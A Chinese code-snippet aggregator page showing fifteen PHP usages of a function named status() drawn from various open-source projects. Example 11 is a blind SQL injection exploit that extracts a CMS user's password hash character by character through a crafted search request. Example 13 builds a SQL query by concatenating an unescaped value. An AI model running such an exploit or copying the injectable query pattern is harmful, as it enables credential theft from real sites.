当前位置: 首页>>代码示例>>PHP>>正文


PHP status函数代码示例

本文整理汇总了PHP中status函数的典型用法代码示例。如果您正苦于以下问题:PHP status函数的具体用法?PHP status怎么用?PHP status使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了status函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: popup

function popup()
{
    $sock = new sockets();
    $EnableMysqlClusterManager = $sock->GET_INFO('EnableMysqlClusterManager');
    $EnableMysqlClusterReplicat = $sock->GET_INFO('EnableMysqlClusterReplicat');
    $status = status();
    $users = new usersMenus();
    if (!$users->MYSQL_NDB_MGMD_INSTALLED) {
        $text = Paragraphe("danger64.png", '{NBD_MGMD_NOT_INSTALLED}', '{NBD_MGMD_NOT_INSTALLED_TEXT}');
    } else {
        $manager = Paragraphe('server-master-check.png', '{MYSQL_CLUSTER_MANAGER}', '{MYSQL_CLUSTER_MANAGER_TEXT}', "javascript:ManagerCluster();");
        $replicat = Paragraphe('server-setup-64.png', '{MYSQL_CLUSTER_REPLICAT}', '{MYSQL_CLUSTER_REPLICAT_TEXT}', "javascript:ReplicatCluster();");
        if ($EnableMysqlClusterManager == 1 && $EnableMysqlClusterReplicat == 1) {
            $sock->SET_INFO("EnableMysqlClusterReplicat", 0);
            $EnableMysqlClusterReplicat = 0;
        }
        if ($EnableMysqlClusterManager == 1) {
            $replicat = null;
        }
        if ($EnableMysqlClusterReplicat == 1) {
            $manager = null;
        }
        $text = "{$manager}<br>{$replicat}";
    }
    $html = "\n<H1>{MYSQL_CLUSTER}</H1>\n<p class=caption>{MYSQL_CLUSTER_TEXT}</p>\n<table style=width:100%' class=table_form>\n<tr>\n\t<td valign='top' width=1%><img src='img/mysqlcluster-256.png'></td>\n\t<td valign='top' style='padding-left:10px'>" . RoundedLightWhite("<div style='width:100%'>{$text}</div>") . "</td>\n\t<td valign='top'><div id='mysql-cluster-status'>{$status}</div></td>\n</tr>\n</table>\n\n\n\n";
    $tpl = new templates();
    echo $tpl->_ENGINE_parse_body($html);
}
开发者ID:brucewu16899,项目名称:artica,代码行数:28,代码来源:mysql.cluster.php

示例2: my_php_errors

function my_php_errors($errno, $errstr, $errfile, $errline)
{
    $errmsg = "error occured({$errno}): {$errstr} in=>{$errfile}:{$errline}";
    logit("php error:" . $errmsg);
    status(422);
    return json_encode(array("exception" => "LanguageError", "error" => $errmsg));
}
开发者ID:edhowland,项目名称:spec_wire,代码行数:7,代码来源:server.php

示例3: hydrate_model

function hydrate_model($file)
{
    if (is_file($file) && strpos($file, '.php')) {
        preg_match_all('/class\\s(\\S+)\\s/', read($file), $match);
        require $file;
        foreach ($match[1] as $klass) {
            $re = new \ReflectionClass($klass);
            switch ($re->getParentClass()->getName()) {
                case 'Servant\\Mapper\\Database':
                    status('hydrate', $file);
                    $dsn = option('database.' . $klass::CONNECTION);
                    $db = \Grocery\Base::connect($dsn);
                    $columns = $klass::columns();
                    $indexes = $klass::indexes();
                    if (!isset($db[$klass::table()])) {
                        $db[$klass::table()] = $columns;
                    }
                    \Grocery\Helpers::hydrate($db[$klass::table()], $columns, $indexes);
                    break;
                case 'Servant\\Mapper\\MongoDB':
                    status('hydrate', $file);
                    $dsn_string = \Servant\Config::get($klass::CONNECTION);
                    $database = substr($dsn_string, strrpos($dsn_string, '/') + 1);
                    $mongo = $dsn_string ? new \Mongo($dsn_string) : new \Mongo();
                    $db = $mongo->{$database ?: 'default'};
                    \Servant\Helpers::reindex($db->{$klass::table()}, $klass::indexes());
                    break;
                default:
                    break;
            }
        }
    }
}
开发者ID:hbnro,项目名称:habanero,代码行数:33,代码来源:functions.php

示例4: main

 public static function main($argv)
 {
     global $coach;
     list($tid) = $argv;
     if ($tid) {
         if (!get_alt_col('teams', 'team_id', $tid, 'name')) {
             fatal('Invalid team');
         }
         $team = new Team($tid);
         $ALLOW_EDIT = is_object($coach) && ($team->owned_by_coach_id == $coach->coach_id || $coach->mayManageObj(T_OBJ_TEAM, $tid)) && !$team->is_retired;
         # Show team action boxes?
     } else {
         $team = null;
         $ALLOW_EDIT = false;
     }
     if ($ALLOW_EDIT && isset($_POST['action']) && isset($_POST['pid'])) {
         $pid = (int) $_POST['pid'];
         switch ($_POST['action']) {
             case 'delete':
                 status(self::delete((int) $pid));
                 break;
             case 'new':
             case 'edit':
                 status(self::edit((int) $pid, $_POST['title'], $_POST['about']));
                 break;
         }
     }
     self::printList($team, $ALLOW_EDIT);
     return true;
 }
开发者ID:nicholasmr,项目名称:obblm,代码行数:30,代码来源:class_cemetery.php

示例5: binary

function binary($data, $status_code = 200)
{
    status($status_code);
    header('Content-Transfer-Encoding: binary');
    header('Content-Type: application/octet-stream');
    echo $data;
    exit;
}
开发者ID:mrjovanovic,项目名称:miniflux,代码行数:8,代码来源:Response.php

示例6: status_dropdown

function status_dropdown()
{
    $data[''] = '-Status-';
    $status = status();
    foreach ($status as $r => $val) {
        $data[$r] = $val;
    }
    return $data;
}
开发者ID:adamprasetia,项目名称:acs,代码行数:9,代码来源:user_helper.php

示例7: ok

/**
 * @param bool   $result result of assertion
 * @param string $why    description of assertion
 * @param mixed  $value  optional value (displays on failure)
 */
function ok($result, $why = null, $value = null)
{
    if ($result === true) {
        echo "- PASS: " . ($why === null ? 'OK' : $why) . ($value === null ? '' : ' (' . format($value) . ')') . "\n";
    } else {
        echo "# FAIL: " . ($why === null ? 'ERROR' : $why) . ($value === null ? '' : ' - ' . format($value, true)) . "\n";
        status(false);
    }
}
开发者ID:elevenone,项目名称:blowfish,代码行数:14,代码来源:test.php

示例8: status

 /**
  * 状态设置
  * @author MaWei (http://www.phpyrb.com)
  * @date 2014-8-9  下午3:00:22
  */
 function status()
 {
     $status = intval($_REQUEST['status']) == '1' ? 0 : 1;
     $reid = status('Sourc', $_REQUEST['ids'], $status);
     if ($reid === false) {
         $msg['status'] = null;
         $msg['msg'] = $status ? '显示设置失败!' : '隐藏设置失败!';
     } else {
         $msg['status'] = 1;
         $msg['msg'] = $status ? '已显示' : '已隐藏';
     }
     echo json_encode($msg);
     exit;
 }
开发者ID:mwei0321,项目名称:mw,代码行数:19,代码来源:SourcController.class.php

示例9: status

 /**
  * 状态设置
  * @author MaWei (http://www.phpyrb.com)
  * @date 2014-8-9  下午3:00:22
  */
 function status()
 {
     $id = intval($_REQUEST['id']);
     $status = intval($_REQUEST['status']) == '1' ? 0 : 1;
     $reid = status('Book', $id, $status);
     if ($reid === false) {
         $msg['status'] = null;
         $msg['msg'] = $status ? '显示失败!' : '隐藏失败!';
     } else {
         $msg['status'] = 1;
         $msg['msg'] = $status ? '显示' : '隐藏';
     }
     echo json_encode($msg);
     exit;
 }
开发者ID:mwei0321,项目名称:mw,代码行数:20,代码来源:BookController.class.php

示例10: track

function track($values)
{
    global $logFile;
    $info = array();
    array_walk($values, function ($value, $key, $info) {
        $info[] = "{$key}={$value}";
    }, &$info);
    $info = join('&', $info);
    $time = date(DATE_ATOM);
    $line = "[{$time}] {$info}\n";
    $failed = FALSE;
    $failed |= FALSE === ($fp = fopen($logFile, 'a'));
    $failed |= FALSE === fwrite($fp, $line);
    $failed |= FALSE === fclose($fp);
    if ($failed) {
        status(500);
    }
}
开发者ID:neochrome,项目名称:tracker,代码行数:18,代码来源:index.php

示例11: getchar

function getchar($query, $pos, $status = true)
{
    global $host, $path, $prefix, $id;
    if ($status) {
        status();
    }
    $data = "sq=InATeam&frm_sub%5B%5D=9999&sea_frmtitle=1&sea_frmtext=1&sea_pagtitle=1";
    $data .= "&sea_pagdesc=1&sea_pagtext=1&searchin_pag=1&pag_sub%5B%5D=qwerty')";
    $data .= "+AND+1=IF(ORD(MID((SELECT+user_password+FROM+{$prefix}users+WHERE";
    $data .= "+user_id={$id}),{$pos},1)){$query},1,(SELECT+1+UNION+SELECT+5))/*&x=GUEST";
    $packet = "POST {$path}plug.php?e=search&a=search HTTP/1.1\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Referer: http://{$host}{$path}plug.php?e=search&a=search\r\n";
    $packet .= "User-Agent: InAttack User Agent\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Content-Length: " . strlen($data) . "\r\n";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data;
    return strpos(send($packet), 'Subquery returns more than 1 row') === false ? true : false;
}
开发者ID:SuperQcheng,项目名称:exploit-database,代码行数:20,代码来源:4678.php

示例12: refresh

 public function refresh()
 {
     $list = M('order')->order('time desc')->limit(25)->select();
     $html = '';
     foreach ($list as $k => $v) {
         $html .= $v['emerg'] == 1 ? '<tr class="am-active">' : '<tr>';
         $html .= '<td>' . $v['order'] . '</td>';
         //工单号
         $building = $v['emerg'] == 1 ? $v['description'] : (empty($v['building']) ? '-' : building($v['area'], $v['building']));
         $html .= '<td class="am-show-md-up">' . $building . '</td>';
         //报修楼栋
         $html .= '<td class="am-show-md-up">' . $v['location'] . '</td>';
         //报修寝室
         $html .= '<td class="am-show-md-up">' . date("Y年m月d日", $v['time']) . '</td>';
         //报修时间
         $html .= '<td>' . status($v['status']) . '</td>';
         //维修状态
         $html .= '<td><a href="' . U('Report/detail', array('order' => $v['order'])) . '">详细&raquo;</a></td>';
         $html .= '</tr>';
     }
     echo $html;
 }
开发者ID:Nonac,项目名称:OSC4CQJTU,代码行数:22,代码来源:MainController.class.php

示例13: writeTableShort

function writeTableShort($git_hash)
{
    ?>
		<table class="table1">
			<tbody>
			<?php 
    $query = "SELECT run_id, A.branch AS 'branch', A.base_sdk_filename AS 'file' ,A.git_hash AS 'git_hash', A.timestamp AS 'timestamp',\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'android1', passed_tests, 0)) AS 'a2.3.6P' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'android1', failed_tests, 0)) AS 'a2.3.6F' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'android2', passed_tests, 0)) AS 'a4.2.1P' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'android2', failed_tests, 0)) AS 'a4.2.1F' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'android3', passed_tests, 0)) AS 'a3.1P' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'android3', failed_tests, 0)) AS 'a3.1F' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'ios1', passed_tests, 0)) AS 'i5.0P' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'ios1', failed_tests, 0)) AS 'i5.0F' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'ios2', passed_tests, 0)) AS 'i5.1P' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'ios2', failed_tests, 0)) AS 'i5.1F' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'ios4', passed_tests, 0)) AS 'i6.0P' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'ios4', failed_tests, 0)) AS 'i6.0F'\n\t\t\t\t\t\t\t\t\t\tFROM driver_runs\n\t\t\t\t\t\t\t\t\t\tLEFT JOIN (SELECT * FROM runs) AS A ON driver_runs.run_id = A.id\n\t\t\t\t\t\t\t\t\t\tWHERE driver_runs.run_id = A.id AND A.git_hash = '" . $git_hash . "';";
    $result = mysql_query($query);
    while ($row = mysql_fetch_array($result)) {
        $queryUrl = "http://anvil.appcelerator.com/results.php?branch=" . $row[branch] . "&git_hash=" . $row[git_hash] . "&run_id=" . $row[run_id];
        echo '<tr><td class="' . status($row["i5.0P"], $row["i5.0F"]) . '"><a href="' . $queryUrl . '&driver_id=ios1" target="_blank">iOS 6.0</a></td>';
        echo '<td class="' . status($row["i5.1P"], $row["i5.1F"]) . '"><a href="' . $queryUrl . '&driver_id=ios2" target="_blank">iOS 6.1</a></td>';
        echo '<td class="' . status($row["i6.0P"], $row["i6.0F"]) . '"><a href="' . $queryUrl . '&driver_id=ios3" target="_blank">iOS 7.0.3</a></td>';
        echo '<td class="' . status($row["a2.3.6P"], $row["a2.3.6F"]) . '"><a href="' . $queryUrl . '&driver_id=android1" target="_blank">Android 2.3.6</a></td>';
        echo '<td class="' . status($row["a3.1P"], $row["a3.1F"]) . '"><a href="' . $queryUrl . '&driver_id=android3" target="_blank">Android 3.1</a></td>';
        echo '<td class="' . status($row["a4.2.1P"], $row["a4.2.1F"]) . '"><a href="' . $queryUrl . '&driver_id=android2" target="_blank">Android 4.2</a></td>';
        echo '</tr>';
    }
    ?>
			</tbody>
		</table>
<?php 
}
开发者ID:asiby,项目名称:anvil,代码行数:23,代码来源:build.php

示例14: status

echo status("SENSITIVITY");
?>
</td>
		</tr>
		<tr>
			<th>finished</th>
			<td><?php 
echo startTime("FINISHED");
?>
</td>
			<td><?php 
echo endTime("FINISHED");
?>
</td>
			<td><?php 
echo status("FINISHED");
?>
</td>
		</tr>
	</table>
	</div>
	<div id="footer">
		The <a href="http://pecanproject.org">PEcAn project</a> is supported by the National Science Foundation
		(ABI #1062547, ARC #1023477) and the <a href="http://www.energybiosciencesinstitute.org/">Energy
		Biosciences Institute</a>.
	</div>
</div>
</body>
</html>

<?php 
开发者ID:ebimodeling,项目名称:pecan,代码行数:31,代码来源:05-running.php

示例15: status

                }
                status(true, "Changed {$changed} local access levels");
            }
            break;
        case 'ch_passwd':
            $errors = array('Please use a password of at least 5 characters.' => strlen($_POST['passwd']) < 5);
            foreach ($errors as $msg => $halt) {
                if ($halt) {
                    status(false, $msg);
                    break 2;
                }
            }
            status($c->setPasswd($_POST['passwd']));
            break;
        case 'disp_access_levels':
            status(true);
            # Display the access levels in box below.
            $_SHOW_ACCESS_LEVELS = true;
            break;
    }
    // Reload manage state.
    $coach = new Coach($coach->coach_id);
    # Re-load in case of we changed our OWN (logged on coach) settings.
}
title($lng->getTrn('menu/admin_menu/usr_man'));
$T_GLOBAL_RINGS = array(Coach::T_RING_GLOBAL_ADMIN => 'Global commisoner (site admin)', Coach::T_RING_GLOBAL_NONE => 'No global rights (regular coach)');
$T_LOCAL_RINGS = array(Coach::T_RING_LOCAL_ADMIN => 'Local commisioner', Coach::T_RING_LOCAL_REGULAR => 'Regular coach');
?>
<script>
    $(document).ready(function(){
        var options, a1,a2,a3,a4;
开发者ID:nicholasmr,项目名称:obblm,代码行数:31,代码来源:admin_usr_man.php


注:本文中的status函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。